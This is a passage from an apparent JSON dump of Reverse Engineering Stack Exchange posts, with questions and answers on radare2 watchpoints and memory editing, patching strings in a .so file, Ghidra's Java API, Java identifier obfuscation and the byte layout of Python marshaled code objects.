After compiling it with GCC with optimizations turned off and opening with IDA:<a href=\"https://i.stack.imgur.com/eMS3z.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/eMS3z.png\" alt=\"IDA-switch-statement\"></a></p>\n\n<p>So, it is possible that such a machine code was indeed produced by compiler, especially when it didn't optimize it.</p>\n\n<p><strong>What is the reason for writing such a code?</strong></p>\n\n<p>I suspect that it's either done purposely to have the possibility to patch the binary later on and change program behaviour for some remainders, or just the program author originally wanted the program behaving differently for different remainders, but then changed his mind and just left the switch statement in such a form.</p>\n\n<p>The other possible, though not likely scenario is that the <code>nextFun</code> checks for the place where it was called and depending on that chooses relevant code path - it would be just an obfuscated switch statement.</p>\n"
    },
    {
        "Id": "21057",
        "CreationDate": "2019-04-06T02:38:05.527",
        "Body": "<p>Is there any way to put breakpoints in radare2 that trigger when an address is read/write?</p>\n\n<p>In GDB those are call watchpoints ('rwatch' or 'awatch\")</p>\n\n<p>I got this from <a href=\"https://www.radare.org/doc/html/Section20.6.3.html\" rel=\"nofollow noreferrer\">radare2</a></p>\n\n<pre><code>[0xB7F08810]&gt; !dr?\nUsage: !dr[type] [args]\n  dr                   - show DR registers\n  dr-                  - reset DR registers\n  drr [addr]           - set a read watchpoint\n  drw [addr]           - set a write watchpoint\n  drx [addr]           - set an execution watchpoint\n  dr[0-3][rwx] [addr]  - set a rwx wp at a certain DR reg\nUse addr=0 to undefine a DR watchpoint\n</code></pre>\n\n<p>But I think that is old...</p>\n",
        "Title": "Is there watchpoints in radare2?",
        "Tags": "|radare2|debuggers|breakpoint|",
        "Answer": "<p>The latest r2 (<code>radare2 3.5.0-git</code>) uses <code>dbw</code> command to add watchpoints.</p>\n\n<pre><code>[0x00000000]&gt; db?\nUsage: db    # Breakpoints commands\n...\n| dbw &lt;addr&gt; &lt;r/w/rw&gt;       Add watchpoint\n</code></pre>\n"
    },
    {
        "Id": "21061",
        "CreationDate": "2019-04-06T08:42:05.337",
        "Body": "<p>I have here an .so file that contains a language pack and I want to edit them. My problem is that I don't always have enough space for a clean translation.\nI know that I can change the texts if they keep the same length or become shorter (fill the rest with NULL). Is if it is possible to create more space?\nplaceholder and resize the file and jump to the end of the binary file?\nor maybe a reference to a .txt file?</p>\n",
        "Title": "Edit an .so file",
        "Tags": "|disassembly|elf|binary-editing|",
        "Answer": "<p><strong>Note:</strong> My original answer was formulated without an access to the file you wanted to modify, so here comes another one, based on the file you have uploaded.</p>\n<p>In the case you want to modify data in the program, it's essential to get grasp on how (and where) it is accessed. In your case, there are three section involved:</p>\n<ul>\n<li><code>.data</code></li>\n<li><code>.data.rel.ro</code></li>\n<li><code>.rodata</code></li>\n</ul>\n<h1><code>.data</code></h1>\n<p>All strings in the file are referenced via the <code>.data</code> section, which contains an array with pointers to entries in <code>.data.rel.ro</code>, where the actual pointers to strings in <code>.rodata</code> are stored. After analysis in <code>radare2</code>, <code>.data</code> looks like:\n<a href=\"https://i.stack.imgur.com/sLLGA.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/sLLGA.jpg\" alt=\"sectionData\" /></a></p>\n<p>Hence it's just the array of pairs containing <strong>pointer</strong> and <strong>index</strong> of each string item. This is the only section from before mentioned three, that you don't need to change.</p>\n<h1><code>.rodata</code></h1>\n<p>It contains all strings used in the file both in English and Chinese versions.\n<a href=\"https://i.stack.imgur.com/GwQ7I.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/GwQ7I.jpg\" alt=\"sectionRodata\" /></a></p>\n<p>This is the section I recommend to change first - replace all Chinese string with their German counterparts. You may do it in a way described in my previous answer, that is replacing the entire section with a content of previously created file.</p>\n<h1><code>.data.rel.ro</code></h1>\n<p>It is the last section you want to modify. It contains pointers to the strings that were in the <code>.rodata</code> section before you modified them.<a href=\"https://i.stack.imgur.com/EXd9B.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/EXd9B.jpg\" alt=\"sectionDataRelRo\" /></a></p>\n<p>So, now you need to fix all of the pointers contained here to point on the strings in the new <code>.rodata</code> section you have just created. Notice that each entry here is just a pointer (i.e. contains <code>4</code> bytes, so it has fixed length), so you may just patch it right away, without need to replace this section using <code>objcopy</code>.</p>\n<p>After doing these steps, you should have all strings translated.</p>\n"
    },
    {
        "Id": "21065",
        "CreationDate": "2019-04-06T17:49:13.967",
        "Body": "<p>Try to decompile several classes from jar and found this</p>\n\n\n\n<pre><code> public static final boolean \\u2005\\u200e;\n</code></pre>\n\n<p>and </p>\n\n\n\n<pre><code> if (\\u2005\\u200e) \n {\n     final boolean \\u2005\\u200e = tEstPrOJEcTDEV7i.\\u2005\\u200e;\n }\n</code></pre>\n\n<p>how to convert this names to normal? In byte code some of strings looks like -> \"\ufffd\u0b71\ufe94\u98ae\ub59a\u4060\u4b7d\u93a2\"</p>\n",
        "Title": "Java obfuscated methods and params",
        "Tags": "|java|",
        "Answer": "<p>A common obfuscation tactic is to remove all the identifiers and replace them with arbitrary and unhelpful strings. Since the JVM (mostly) doesn't care what your methods are called, the code will still work fine, but it is harder to understand.</p>\n\n<p>Unfortunately, there is no way to recover the original identifiers, because the information simply doesn't exist anymore. However, you can rename them to things you find more helpful as part of the reverse engineering process.</p>\n"
    },
    {
        "Id": "21071",
        "CreationDate": "2019-04-07T18:03:49.313",
        "Body": "<p>How can one access all references to the stack (also outside of its frame) a <a href=\"http://ghidra.re/ghidra_docs/api/ghidra/program/model/listing/Function.html\" rel=\"nofollow noreferrer\">function</a> has via the Java Plugin API?</p>\n\n<p>Example: This instructions write values <strong>outside</strong> of the stack frame of the function:</p>\n\n<p><a href=\"https://i.stack.imgur.com/L5ERd.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/L5ERd.png\" alt=\"enter image description here\"></a></p>\n\n<p>Do I need to traverse the CFG of the function? (If yes, how do I do this?)</p>\n",
        "Title": "Get stack references in Ghidra of a function from the java api",
        "Tags": "|ghidra|",
        "Answer": "<p>I asked the question on <a href=\"https://github.com/NationalSecurityAgency/ghidra/issues/390\" rel=\"nofollow noreferrer\">github</a> and got the following reply:</p>\n\n<blockquote>\n  <p>Assuming stack analysis has been performed and the function has been\n  marked with stack references as shown above, you can iterate over the\n  references \"from\" the body of the function (i.e., AddressSetView). The\n  references returned would need to be filtered as other type of\n  references would also be returned. Although there are a variety of\n  ways to obtain references here is one example:</p>\n</blockquote>\n\n<pre><code>Function f;\nProgram p;\nReferenceManager refMgr = p.getReferenceManager();\n    for (Address fromAddr : refMgr.getReferenceSourceIterator(f.getBody(), true)) {\n        for (Reference ref : refMgr.getReferencesFrom(fromAddr)) {\n            if (ref.isStackReference()) {\n                StackReference stackRef = (StackReference) ref;\n            }\n        }\n}\n</code></pre>\n\n<p>The important part is that your analysis must take place AFTER the stack analysis happened, which is quite late. You can control when your analysis runs in the constructor by passing the point where you want to run into the parent constructor.</p>\n"
    },
    {
        "Id": "21085",
        "CreationDate": "2019-04-08T19:49:45.183",
        "Body": "<p>Help me to decipher the Python's marshaled code object. The <code>.pyc</code> files are almost the same: <a href=\"https://nedbatchelder.com/blog/200804/the_structure_of_pyc_files.html\" rel=\"nofollow noreferrer\">The structure of .pyc files</a>.</p>\n\n<p><strong>I have:</strong></p>\n\n<ol>\n<li>The code object compiled from the source.</li>\n<li>The marshaled representation of this code object.</li>\n<li>The recursive disassembly of its (code object) code section.</li>\n<li>All its fields values.</li>\n</ol>\n\n<p><strong>The main purpose:</strong> </p>\n\n<p>I want to find out, how the different code objects stored and referenced from each other. That is, how the links to the child code objects are stored?  The module should have references to all its functions. The function should have references to all other functions, callable from it. Etc. Does Virtual Machine preserves the code object <code>id</code>, when storing it to the <code>.pyc</code>? I don't thinks so, because can't see <code>id</code>s in the <code>.pyc</code> file.</p>\n\n<p>For example, I have such instruction in the disassembled source:</p>\n\n<pre><code>LOAD_CONST        2 (&lt;code object baz at 0x7f380995e5d0, file \"foo.py\", line 7&gt;)\n</code></pre>\n\n<p>Hence:</p>\n\n<ul>\n<li>How the Virtual Machine will found the <code>baz</code> code object? I can't see all this information: <code>0x7f380995e5d0, file \"foo.py\", line 7</code> in the marshaled string. Does the object id <code>0x7f380995e5d0</code> stored in the marshaled code or it is created each time the program is running? </li>\n<li>If it is not stored, how the connection of objects is preserved in the marshaled code objects (<code>.pyc</code> files)?</li>\n</ul>\n\n<p>I think, I will investigate by the <code>gdb</code> further, but maybe this approach (<code>.pyc</code> file deciphering) also will do the job.</p>\n\n<p><strong>Current result:</strong></p>\n\n<p>I used all this information for creating the next file: the first column is the binary representation of marshaled code object, the second is the meaning of each byte sequences, which I have determined already.</p>\n\n<pre><code>b'\n\\xe3                    &lt;don't know&gt;\n\\x00\\x00\\x00\\x00        &lt;foo.py: co_argcount: 0&gt;\n\\x00\\x00\\x00\\x00        &lt;foo.py: co_kwonlyargcount: 0&gt;\n\\x00\\x00\\x00\\x00        &lt;foo.py: co_nlocals: 0&gt;\n\\x03\\x00\\x00\\x00        &lt;foo.py: co_stacksize: 3&gt;               \n@\\x00\\x00\\x00           &lt;foo.py: co_flags = '@' = 0x40 = 64&gt;\ns.\\x00\\x00\\x00          &lt;foo.py: number of bytes for module instructions = '.' = 46&gt;\nd\\x00                   &lt;foo.py: co_code:  0 LOAD_CONST        0 (1)\nZ\\x00                   &lt;foo.py: co_code:  2 STORE_NAME        0 (a)\nd\\x01                   &lt;foo.py: co_code:  4 LOAD_CONST        1 (2)\nZ\\x01                   &lt;foo.py: co_code:  6 STORE_NAME        1 (b)\ne\\x00                   &lt;foo.py: co_code:  8 LOAD_NAME         0 (a)\ne\\x01                   &lt;foo.py: co_code: 10 LOAD_NAME         1 (b)\n\\x17\\x00                &lt;foo.py: co_code: 12 BINARY_ADD\nZ\\x02                   &lt;foo.py: co_code: 14 STORE_NAME        2 (c)\nd\\x02                   &lt;foo.py: co_code: 16 LOAD_CONST        2 (&lt;code object baz at 0x7f380995e5d0, file \"foo.py\", line 7&gt;)\nd\\x03                   &lt;foo.py: co_code: 18 LOAD_CONST        3 ('baz')\n\\x84\\x00                &lt;foo.py: co_code: 20 MAKE_FUNCTION     0\nZ\\x03                   &lt;foo.py: co_code: 22 STORE_NAME        3 (baz)\ne\\x03                   &lt;foo.py: co_code: 24 LOAD_NAME         3 (baz)\ne\\x00                   &lt;foo.py: co_code: 26 LOAD_NAME         0 (a)\ne\\x01                   &lt;foo.py: co_code: 28 LOAD_NAME         1 (b)\n\\x83\\x02                &lt;foo.py: co_code: 30 CALL_FUNCTION     2\nZ\\x04                   &lt;foo.py: co_code: 32 STORE_NAME        4 (multiplication)\ne\\x04                   &lt;foo.py: co_code: 34 LOAD_NAME         4 (multiplication)\nd\\x01                   &lt;foo.py: co_code: 36 LOAD_CONST        1 (2)\n\\x13\\x00                &lt;foo.py: co_code: 38 BINARY_POWER\nZ\\x05                   &lt;foo.py: co_code: 40 STORE_NAME        5 (square)\nd\\x04                   &lt;foo.py: co_code: 42 LOAD_CONST        4 (None)\nS\\x00                   &lt;foo.py: co_code: 44 RETURN_VALUE\n)\\x05                   &lt;foo.py: co_const: size&gt;\n\\xe9\\x01\\x00\\x00\\x00    &lt;foo.py: co_const[0]: 1&gt;\n\\xe9\\x02\\x00\\x00\\x00    &lt;foo.py: co_const[1]: 2&gt;\nc                       &lt;TYPE_CODE&gt;\n\\x02\\x00\\x00\\x00        &lt;baz: co_argcount: 2&gt;\n\\x00\\x00\\x00\\x00        &lt;baz: co_kwonlyargcount: 0&gt;\n\\x02\\x00\\x00\\x00        &lt;baz: co_nlocals: 2&gt;\n\\x02\\x00\\x00\\x00        &lt;baz: co_stacksize: 2&gt;               \nC\\x00\\x00\\x00           &lt;baz: co_flags = 'C' = 0x43 = 67&gt;\ns\\x08\\x00\\x00\\x00       &lt;baz: co_code: size = 8 bytes&gt;\n|\\x00                   &lt;baz: co_code: 0 LOAD_FAST                0 (x) \n|\\x01                   &lt;baz: co_code: 2 LOAD_FAST                1 (y) \n\\x14\\x00                &lt;baz: co_code: 4 BINARY_MULTIPLY                \nS\\x00                   &lt;baz: co_code: 6 RETURN_VALUE                   \n)\\x01                   &lt;baz: co_const: size&gt;\nN                       &lt;baz: co_const[0]: None&gt;\n\\xa9\\x00                &lt;don't know&gt; \n)\\x02                   &lt;baz: co_varnames: size&gt;\n\\xda\\x01                &lt;baz: number of characters of next item&gt;\nx                       &lt;baz: co_varnames[0]: x&gt;\n\\xda\\x01                &lt;baz: number of characters of next item&gt;\ny                       &lt;baz: co_varnames[1]: y&gt;\nr\\x03\\x00\\x00\\x00       &lt;baz: don't know. But the 'r' = 'TYPE_REF'&gt;\nr\\x03\\x00\\x00\\x00       &lt;baz: don't know. But the 'r' = 'TYPE_REF'&gt;\n\\xfa\\x06                &lt;baz: next item length&gt;\nfoo.py                  &lt;baz: co_filename&gt;\n\\xda\\x03                &lt;baz: number of characters of next item&gt;\nbaz                     &lt;baz: co_name: 'baz'&gt;\n\\x07\\x00\\x00\\x00        &lt;baz: co_firstlineno: 7&gt;\ns\\x02\\x00\\x00\\x00       &lt;baz: co_lnotab: size = 2 &gt;\n\\x00\\x01                &lt;baz: co_lnotab&gt;\nr\\x07\\x00\\x00\\x00       &lt;foo.py: co_const[3]: reference to baz&gt;\nN                       &lt;foo.py: co_const[4]: None&gt;\n)\\x06                   &lt;foo.py: co_names: size&gt; \n\\xda\\x01                &lt;foo.py: number of characters of next item&gt;\na                       &lt;foo.py: co_names[0]: a&gt;\n\\xda\\x01                &lt;foo.py: number of characters of next item&gt;\nb                       &lt;foo.py: co_names[1]: b&gt;\n\\xda\\x01                &lt;foo.py: number of characters of next item&gt;\nc                       &lt;foo.py: co_names[2]: c&gt;\nr\\x07\\x00\\x00\\x00       &lt;foo.py: co_names[3]: reference to baz&gt;\nZ\\x0e                   &lt;foo.py: number of characters of next item&gt;\nmultiplication          &lt;foo.py: co_names[4]: multiplication&gt;\nZ\\x06                   &lt;foo.py: number of characters of next item&gt;\nsquare                  &lt;foo.py: co_names[5]: square&gt;\nr\\x03\\x00\\x00\\x00       &lt;foo.py: don't know&gt;     \nr\\x03\\x00\\x00\\x00       &lt;foo.py: don't know&gt;     \nr\\x03\\x00\\x00\\x00       &lt;foo.py: don't know&gt;     \nr\\x06\\x00\\x00\\x00       &lt;foo.py: don't know&gt;     \n\\xda\\x08                &lt;foo.py: number of characters of next item&gt;\n&lt;module&gt;                &lt;foo.py: co_name&gt;\n\\x03\\x00\\x00\\x00        &lt;foo.py: co_firstlineno&gt;\ns\\n\\x00\\x00\\x00         &lt;foo.py: co_lnotab: size = '\\n' = 0A&gt;\n\\x04\\x01                &lt;foo.py: o_lnotab&gt; \n\\x04\\x01                &lt;foo.py: o_lnotab&gt;\n\\x08\\x02                &lt;foo.py: o_lnotab&gt;\n\\x08\\x07                &lt;foo.py: o_lnotab&gt;\n\\n\\x01'                 &lt;foo.py: o_lnotab&gt;\n</code></pre>\n\n<hr>\n\n<h3>Code snippets required for replication:</h3>\n\n<p>1) <strong>The source code</strong>: <code>foo.py</code></p>\n\n<pre><code>a = 1 \nb = 2 \nc = a + b \n\ndef baz(x,y):\n    return x * y\n\nmultiplication = baz(a,b)\nsquare = multiplication ** 2\n</code></pre>\n\n<p>2) <strong>The marshaled representation</strong> of <code>foo.py</code>.</p>\n\n<pre><code>source_py = \"foo.py\"\n\nwith open(source_py) as f_source:\n    source_code = f_source.read()\n\ncode_obj_compile = compile(source_code, source_py, \"exec\")\n\ndata = marshal.dumps(code_obj_compile)\n\nprint(data)\n</code></pre>\n\n<p>3) <strong>The full (recursive) disassembly</strong> of the code object.</p>\n\n<pre><code>import types\n\ndis.dis(code_obj_compile)\n\nfor x in code_obj_compile.co_consts:\n    if isinstance(x, types.CodeType):\n        sub_byte_code = x\n        func_name = sub_byte_code.co_name\n        print('\\nDisassembly of %s:' % func_name)\n        dis.dis(sub_byte_code)\n</code></pre>\n\n<p>4) <strong>All code object's field values</strong>.</p>\n\n<pre><code>def print_co_obj_fields(code_obj):\n    # Iterating through all instance attributes\n    # and calling all having the 'co_' prefix\n    for name in dir(code_obj):\n        if name.startswith('co_'):\n            co_field = getattr(code_obj, name)\n            print(f'{name:&lt;20} = {co_field}')\n\nprint_co_obj_fields(code_obj_compile)\n</code></pre>\n",
        "Title": "The structure of the Python's marshaled code object (or .pyc file)",
        "Tags": "|python|",
        "Answer": "<p>The purpose of a code object marshaling is the storing and restoring the program to/from the file. Therefore, it should have the coding scheme for all Python's features: objects, bytecode, names, etc, otherwise it can't restore a program from the file.</p>\n<p>So, it uses multiple type identifiers, which can be divided into four groups:</p>\n<ul>\n<li><p><strong>single TYPE</strong>:   {the type identifier} the size is 1 byte.</p>\n<pre><code> Example: TYPE_NONE = 'N'`, `TYPE_TRUE = 'T'.\n</code></pre>\n</li>\n<li><p><strong>short TYPE</strong>:    {the type identifier} + 1 byte value</p>\n<pre><code> Example: TYPE_SHORT_ASCII_INTERNED = 'Z'.\n</code></pre>\n</li>\n<li><p><strong>long TYPE</strong>:     {the type identifier} + 4 bytes value</p>\n<pre><code> Example: TYPE_STRING = 's'.\n</code></pre>\n</li>\n<li><p><strong>object TYPE</strong>:   {the type identifier} + the combination of all different types, including the <code>object TYPE</code> itself. That is, it has the recursive structure.</p>\n<pre><code> Example: TYPE_CODE = 'c'\n</code></pre>\n</li>\n</ul>\n<p><strong>All types can be seen here:</strong> <a href=\"https://github.com/python/cpython/blob/master/Python/marshal.c\" rel=\"nofollow noreferrer\">cpython/Python/marshal.c</a></p>\n<p>Also, the code object has multiple <code>int</code> fields. They doesn't have identifier in the marshaled string, just the sequence of four bytes values.</p>\n<pre><code>    int co_argcount;            /* #arguments, except *args */\n    int co_kwonlyargcount;      /* #keyword only arguments */\n    int co_nlocals;             /* #local variables */\n    int co_stacksize;           /* #entries needed for evaluation stack */\n    int co_flags;               /* CO_..., see below */\n    int co_firstlineno;         /* first source line number */\n    \n</code></pre>\n<p><strong>The full code object structure is here:</strong> <a href=\"https://github.com/python/cpython/blob/master/Include/code.h\" rel=\"nofollow noreferrer\">cpython/Include/code.h </a></p>\n<p>It is useful to know the order, in which the code object have been dumped, because then we can calculate the each field offset in the resulting string, like - the first four byte is <code>co_argcount</code>, the second is <code>co_kwonlyargcount</code>, etc.</p>\n<p><strong>The order of code object dumping:</strong></p>\n<pre><code>    # PyCodeObject *co - pointer to the code object\n    # p                - pointer to the file object,\n    that accumulating marshaled code object before\n    writing to the file.\n    \n    W_TYPE(TYPE_CODE, p);\n    w_long(co-&gt;co_argcount, p);\n    w_long(co-&gt;co_kwonlyargcount, p);\n    w_long(co-&gt;co_nlocals, p);\n    w_long(co-&gt;co_stacksize, p);\n    w_long(co-&gt;co_flags, p);\n    w_object(co-&gt;co_code, p);\n    w_object(co-&gt;co_consts, p);\n    w_object(co-&gt;co_names, p);\n    w_object(co-&gt;co_varnames, p);\n    w_object(co-&gt;co_freevars, p);\n    w_object(co-&gt;co_cellvars, p);\n    w_object(co-&gt;co_filename, p);\n    w_object(co-&gt;co_name, p);\n    w_long(co-&gt;co_firstlineno, p);\n    w_object(co-&gt;co_lnotab, p);\n</code></pre>\n<h3>The result: foo.py marshaled string fully deciphered:</h3>\n<pre><code>b'\n\\xe3                    &lt;foo.py: '\\xe3' &amp; 0x80 (FLAG_REF)  = 'c' (TYPE_CODE)&gt;\n\\x00\\x00\\x00\\x00        &lt;foo.py: co_argcount: 0&gt;\n\\x00\\x00\\x00\\x00        &lt;foo.py: co_kwonlyargcount: 0&gt;\n\\x00\\x00\\x00\\x00        &lt;foo.py: co_nlocals: 0&gt;\n\\x03\\x00\\x00\\x00        &lt;foo.py: co_stacksize: 3&gt;               \n@\\x00\\x00\\x00           &lt;foo.py: co_flags = '@' = 0x40 = 64&gt;\ns.\\x00\\x00\\x00          &lt;foo.py: number of bytes for module instructions = '.' = 46&gt;\nd\\x00                   &lt;foo.py: co_code:  0 LOAD_CONST        0 (1)\nZ\\x00                   &lt;foo.py: co_code:  2 STORE_NAME        0 (a)\nd\\x01                   &lt;foo.py: co_code:  4 LOAD_CONST        1 (2)\nZ\\x01                   &lt;foo.py: co_code:  6 STORE_NAME        1 (b)\ne\\x00                   &lt;foo.py: co_code:  8 LOAD_NAME         0 (a)\ne\\x01                   &lt;foo.py: co_code: 10 LOAD_NAME         1 (b)\n\\x17\\x00                &lt;foo.py: co_code: 12 BINARY_ADD\nZ\\x02                   &lt;foo.py: co_code: 14 STORE_NAME        2 (c)\nd\\x02                   &lt;foo.py: co_code: 16 LOAD_CONST        2 (&lt;code object baz at 0x7f380995e5d0, file &quot;foo.py&quot;, line 7&gt;)\nd\\x03                   &lt;foo.py: co_code: 18 LOAD_CONST        3 ('baz')\n\\x84\\x00                &lt;foo.py: co_code: 20 MAKE_FUNCTION     0\nZ\\x03                   &lt;foo.py: co_code: 22 STORE_NAME        3 (baz)\ne\\x03                   &lt;foo.py: co_code: 24 LOAD_NAME         3 (baz)\ne\\x00                   &lt;foo.py: co_code: 26 LOAD_NAME         0 (a)\ne\\x01                   &lt;foo.py: co_code: 28 LOAD_NAME         1 (b)\n\\x83\\x02                &lt;foo.py: co_code: 30 CALL_FUNCTION     2\nZ\\x04                   &lt;foo.py: co_code: 32 STORE_NAME        4 (multiplication)\ne\\x04                   &lt;foo.py: co_code: 34 LOAD_NAME         4 (multiplication)\nd\\x01                   &lt;foo.py: co_code: 36 LOAD_CONST        1 (2)\n\\x13\\x00                &lt;foo.py: co_code: 38 BINARY_POWER\nZ\\x05                   &lt;foo.py: co_code: 40 STORE_NAME        5 (square)\nd\\x04                   &lt;foo.py: co_code: 42 LOAD_CONST        4 (None)\nS\\x00                   &lt;foo.py: co_code: 44 RETURN_VALUE\n)\\x05                   &lt;foo.py: co_const: size&gt;\n\\xe9\\x01\\x00\\x00\\x00    &lt;foo.py: co_const[0]: 1; '\\xe9' &amp; 0x80 (FLAG_REF) = 'i' (TYPE_INT)&gt;\n\\xe9\\x02\\x00\\x00\\x00    &lt;foo.py: co_const[1]: 2; '\\xe9' &amp; 0x80 (FLAG_REF) = 'i' (TYPE_INT)&gt;\nc                       &lt;foo.py: co_const[2]: 'c' = TYPE_CODE&gt;\n\\x02\\x00\\x00\\x00        &lt;baz: co_argcount: 2&gt;\n\\x00\\x00\\x00\\x00        &lt;baz: co_kwonlyargcount: 0&gt;\n\\x02\\x00\\x00\\x00        &lt;baz: co_nlocals: 2&gt;\n\\x02\\x00\\x00\\x00        &lt;baz: co_stacksize: 2&gt;               \nC\\x00\\x00\\x00           &lt;baz: co_flags = 'C' = 0x43 = 67&gt;\ns\\x08\\x00\\x00\\x00       &lt;baz: co_code: size = 8 bytes&gt;\n|\\x00                   &lt;baz: co_code: 0 LOAD_FAST                0 (x) \n|\\x01                   &lt;baz: co_code: 2 LOAD_FAST                1 (y) \n\\x14\\x00                &lt;baz: co_code: 4 BINARY_MULTIPLY                \nS\\x00                   &lt;baz: co_code: 6 RETURN_VALUE                   \n)\\x01                   &lt;baz: co_const: size&gt;\nN                       &lt;baz: co_const[0]: None&gt;\n\\xa9\\x00                &lt;baz: co_names: size = 0  '\\xa9' &amp; 0x80 (FLAG_REF)  = ')'&gt; \n)\\x02                   &lt;baz: co_varnames: size&gt;\n\\xda\\x01                &lt;baz: number of characters of next item; '\\xda' &amp; 0x80 (FLAG_REF)  = 'Z'&gt;\nx                       &lt;baz: co_varnames[0]: x&gt;\n\\xda\\x01                &lt;baz: number of characters of next item; '\\xda' &amp; 0x80 (FLAG_REF)  = 'Z'&gt;\ny                       &lt;baz: co_varnames[1]: y&gt;\nr\\x03\\x00\\x00\\x00       &lt;baz: co_freevars: reference to empty tuple '()'&gt;     \nr\\x03\\x00\\x00\\x00       &lt;baz: co_cellvars: reference to empty tuple '()'&gt;\n\\xfa\\x06                &lt;baz: next item length&gt;\nfoo.py                  &lt;baz: co_filename&gt;\n\\xda\\x03                &lt;baz: number of characters of next item&gt;\nbaz                     &lt;baz: co_name: 'baz'&gt;\n\\x07\\x00\\x00\\x00        &lt;baz: co_firstlineno: 7&gt;\ns\\x02\\x00\\x00\\x00       &lt;baz: co_lnotab: size = 2 &gt;\n\\x00\\x01                &lt;baz: co_lnotab&gt;\nr\\x07\\x00\\x00\\x00       &lt;foo.py: co_const[3]: reference to 'baz'&gt;\nN                       &lt;foo.py: co_const[4]: None&gt;\n)\\x06                   &lt;foo.py: co_names: size&gt; \n\\xda\\x01                &lt;foo.py: number of characters of next item&gt;\na                       &lt;foo.py: co_names[0]: a&gt;\n\\xda\\x01                &lt;foo.py: number of characters of next item&gt;\nb                       &lt;foo.py: co_names[1]: b&gt;\n\\xda\\x01                &lt;foo.py: number of characters of next item&gt;\nc                       &lt;foo.py: co_names[2]: c&gt;\nr\\x07\\x00\\x00\\x00       &lt;foo.py: co_names[3]: reference to 'baz'&gt;\nZ\\x0e                   &lt;foo.py: number of characters of next item&gt;\nmultiplication          &lt;foo.py: co_names[4]: multiplication&gt;\nZ\\x06                   &lt;foo.py: number of characters of next item&gt;\nsquare                  &lt;foo.py: co_names[5]: square&gt;\nr\\x03\\x00\\x00\\x00       &lt;foo.py: co_varnames: reference to empty tuple '()'&gt;     \nr\\x03\\x00\\x00\\x00       &lt;foo.py: co_freevars: reference to emtpy tuple '()'&gt;     \nr\\x03\\x00\\x00\\x00       &lt;foo.py: co_cellvars: reference to empty tuple '()'&gt;\nr\\x06\\x00\\x00\\x00       &lt;foo.py: co_filename: reference to 'foo.py'&gt;     \n\\xda\\x08                &lt;foo.py: number of characters of next item&gt;\n&lt;module&gt;                &lt;foo.py: co_name&gt;\n\\x03\\x00\\x00\\x00        &lt;foo.py: co_firstlineno&gt;\ns\\n\\x00\\x00\\x00         &lt;foo.py: co_lnotab: size = '\\n' = 0A&gt;\n\\x04\\x01                &lt;foo.py: o_lnotab&gt; \n\\x04\\x01                &lt;foo.py: o_lnotab&gt;\n\\x08\\x02                &lt;foo.py: o_lnotab&gt;\n\\x08\\x07                &lt;foo.py: o_lnotab&gt;\n\\n\\x01'                 &lt;foo.py: o_lnotab&gt;\n</code></pre>\n<p><strong>The useful information:</strong></p>\n<p><a href=\"https://stackoverflow.com/a/16123158/2913477\">How to create a code object in python?</a></p>\n"
    },
    {
        "Id": "21097",
        "CreationDate": "2019-04-09T15:59:47.940",
        "Body": "<p>How can i examine/edit stack contents using radare2, just like gdb ?<br/>\nIs there a way to examine memory using $rbp or $rsp register like below.<br>\nx $rbp-10 &lt;--- something like this which can dump from this particular offset. <br/></p>\n\n<p>How do i change the memory contents during debugging ?<br/>\nexample: something like set (address)=0xff</p>\n",
        "Title": "How to examine/edit stack memory contents using radare2 in debug mode?",
        "Tags": "|disassembly|radare2|stack|dumping|stack-variables|",
        "Answer": "<p>To examine in radare2 you can think as 'print values' and you can use:</p>\n\n<blockquote>\n  <p>px                show hexdump <br>\n   pxl               display N lines (rows) of hexdump <br>\n   pxr[j]            show words with references to flags and code (q=quiet)</p>\n</blockquote>\n\n<p>Example: <br>\n<em>> px [nBytes] @[address][offset] <br></em>\n\"Print hex 10 bytes at rbp plus 10\"</p>\n\n<pre><code>[0x5618eccbf77a]&gt; px 10 @rbp+10\n</code></pre>\n\n<p><em>> pxl [nLines] @[address][offset] <br></em>\n<em>> pxr [nBytes] @[address][offset] <br></em></p>\n\n<p>To edit you can think as 'write' use:</p>\n\n<blockquote>\n  <p>w[1248][+-][n]       increment/decrement byte,word..</p>\n</blockquote>\n\n<p>Example: <br>\n<em>> w [str] @[address]</em> <br>\n\"Write \\x38\\x38 at rbp\"<br></p>\n\n<pre><code>[0x5618eccbf77a]&gt; w \\x38\\x38 @rbp\n</code></pre>\n"
    },
    {
        "Id": "21098",
        "CreationDate": "2019-04-09T16:22:06.517",
        "Body": "<pre><code>#include&lt;stdio.h&gt;\n#include&lt;stdlib.h&gt;\nint main() {\n    puts(\"Enter input: \");\n    char buf[100];\n    fgets(buf, 100, stdin);\n    printf(\"%s\", buf);\n}\n</code></pre>\n\n<p>Suppose I am debugging a program, such as the one above, where I need to type in some input. Usually, what radare2 does is that it will allow me to type in any ascii input whenever the program demands that I have user input, and it will look like the following:</p>\n\n<pre><code>Enter input: Hello\nHello\n</code></pre>\n\n<p>However, what if I need to type in hex input? Normally, if I wanted to use hex input for my program outside of radare2, I would use a command that looks like the following:</p>\n\n<pre><code>python -c \"print('\\x48\\x65\\x6c\\x6c\\x6f')\" | ./program\n</code></pre>\n\n<p>But if I am debugging the program with radare2 and use something like \\x48\\x65\\x6c\\x6c\\x6f as the input, radare2 will literally interpret the backlash x as a string that looks like \"\\x\" instead of interpreting the input as hexadecimal. How would I go about inputting hex while inside of radare2 properly?</p>\n",
        "Title": "How do I type in hex input into radare2 debug mode?",
        "Tags": "|debugging|radare2|",
        "Answer": "<ul>\n<li><p>Write the string in a file:</p>\n\n<pre><code>$ echo -e '\\x48\\x65\\x6c\\x6c\\x6f' &gt; p.text    \n</code></pre>\n\n<p>or           </p>\n\n<pre><code>$ python -c \"print('\\x48\\x65\\x6c\\x6c\\x6f')\" &gt; p.text   \n</code></pre></li>\n<li><p>Execute radare2:</p>\n\n<pre><code>$ r2 -d program \n</code></pre></li>\n<li><p>Once inside of <code>r2</code> execute <code>dor</code> (an alias for <code>rarun2</code>) and set the <code>stdin</code> to the file:</p>\n\n<pre><code>[0x7f1a2522a090]&gt; dor stdin=p.text\n[0x7fb15f311e06]&gt; doo # Reopen in debugger mode\n</code></pre></li>\n</ul>\n"
    },
    {
        "Id": "21099",
        "CreationDate": "2019-04-09T16:36:30.420",
